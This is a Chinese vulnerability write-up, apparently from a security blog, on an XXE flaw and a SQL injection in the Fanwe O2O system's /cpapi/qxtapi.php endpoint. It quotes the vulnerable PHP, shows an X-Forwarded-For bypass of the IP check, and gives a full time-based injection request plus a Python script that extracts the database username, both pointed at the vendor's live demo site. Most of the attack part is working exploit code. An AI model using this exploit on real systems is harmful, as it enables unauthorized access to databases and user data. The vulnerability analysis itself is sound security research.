方维O2O商业系统SQL注入漏洞+XXE实体注入(demo验证)

  • A+
所属分类:漏洞时代
摘要

方维O2O,demo站点地址:http://o2odemo.fanwe.net/
/cpapi/qxtapi.php如上代码。IP验证是可以用XFF绕过的,后面直接调用simplexml_load_string解析POST字符串,造成XXE实体注入。
因为后面没有输出,所以这里是一个“盲注”,Blind XXE。测试了官方demo,但数据包没有发出来,可能是很多原因吧(是否支持外网、是否底层限制XML实体等),反正我本地是成功了的。
这边读到文件通过base64传给我的web日志:

这不是重点。继续看后面的代码,SQL注入是重点:

方维O2O,demo站点地址:http://o2odemo.fanwe.net/
/cpapi/qxtapi.php

define("FILE_PATH","/cpapi");  require_once '../system/system_init.php'; $ip = CLIENT_IP; $xml = file_get_contents('php://input'); if($ip!='221.179.180.156' || $xml=="") {  header("Content-Type:text/html; charset=utf-8");  echo "·Ç·¨·ÃÎÊ";  exit; }  $xml = str_replace(array("/r/n", "/r", "/n"), "", $xml); $xml_arr = simplexml_load_string($xml);

如上代码。IP验证是可以用XFF绕过的,后面直接调用simplexml_load_string解析POST字符串,造成XXE实体注入。
因为后面没有输出,所以这里是一个“盲注”,Blind XXE。测试了官方demo,但数据包没有发出来,可能是很多原因吧(是否支持外网、是否底层限制XML实体等),反正我本地是成功了的。
这边读到文件通过base64传给我的web日志:
方维O2O商业系统SQL注入漏洞+XXE实体注入(demo验证)
这不是重点。继续看后面的代码,SQL注入是重点:

$xml_arr = simplexml_load_string($xml);  $SrcMobile = $xml_arr->Body->Message->SrcMobile; $Content = $xml_arr->Body->Message->Content; $RecvTime = $xml_arr->Body->Message->RecvTime;  $arr = explode("-",$Content); $prefix = $arr[0];  if($prefix!='u'&&$prefix!='v') {  if(log_coupon("","短信内容:".$Content,$RecvTime)&&$SrcMobile)  {   $msg_data['dest'] = $SrcMobile;   $msg_data['send_type'] = 0;   $msg_data['content'] = "短信格式错误";   $msg_data['send_time'] = 0;   $msg_data['is_send'] = 0;   $msg_data['create_time'] = NOW_TIME;   $msg_data['user_id'] = 0;   $msg_data['is_html'] = 0;   $GLOBALS['db']->autoExecute(DB_PREFIX."deal_msg_list",$msg_data); //插入     echo "ok";   exit;  }   }

可见从xml里读取的内容,传入了log_coupon函数,跟进看看:

function log_coupon($coupon_sn,$msg,$query_id = '') {  $data = array();  $data['coupon_sn'] = $coupon_sn;  $data['msg'] = $msg;  $data['query_id'] = $query_id;  $data['create_time'] = NOW_TIME;  if($GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."coupon_log where query_id = '".$query_id."'")==0)  {   $GLOBALS['db']->autoExecute(DB_PREFIX."coupon_log",$data); //插入   return true;  }  else  {   return false;  } }

可见query_id(也就是XML里的RecvTime)直接带入SQL语句。这个demo站可以演示了,延时注入。POST如下数据包:

POST /cpapi/qxtapi.php HTTP/1.1 Host: o2odemo.fanwe.net Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type:application/x-www-form-urlencoded Content-Length: 147 X-FORWARDED-FOR: 221.179.180.156  <aaaa> <Body> <Message> <SrcMobile>13322221111</SrcMobile> <Content>123123</Content> <RecvTime>0'|sleep(5)#</RecvTime> </Message> </Body> </aaaa>

即可看见延迟了5秒才出结果。写了个脚本跑一下数据库用户名。

#!/usr/bin/env python  import requests, sys headers = {     'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36',     'X-FORWARDED-FOR': '221.179.180.156' } payloads = list('@abcdefghijklmnopqrstuvwxyz.0123456789') #payloads = list('@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._')  print 'start to retrive MySQL infomation:'  def run():     user = ''     for i in range(1,25):         for payload in payloads:             try:                 data = "<aaaa><Body><Message><SrcMobile>0</SrcMobile><Content>123123</Content><RecvTime>0'|if(ord(substr(user(),%s,1))=%s,sleep(5),1)#</RecvTime></Message></Body></aaaa>" % (i, ord(payload))                  req = requests.post("http://o2odemo.fanwe.net/cpapi/qxtapi.php", data = data, headers = headers, timeout = 3)             except:                 user += payload                 print '/n[In progress]', user                 break             print '.',             sys.stdout.flush()     print '/n[Done]infomation is', user  run()

方维O2O商业系统SQL注入漏洞+XXE实体注入(demo验证)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: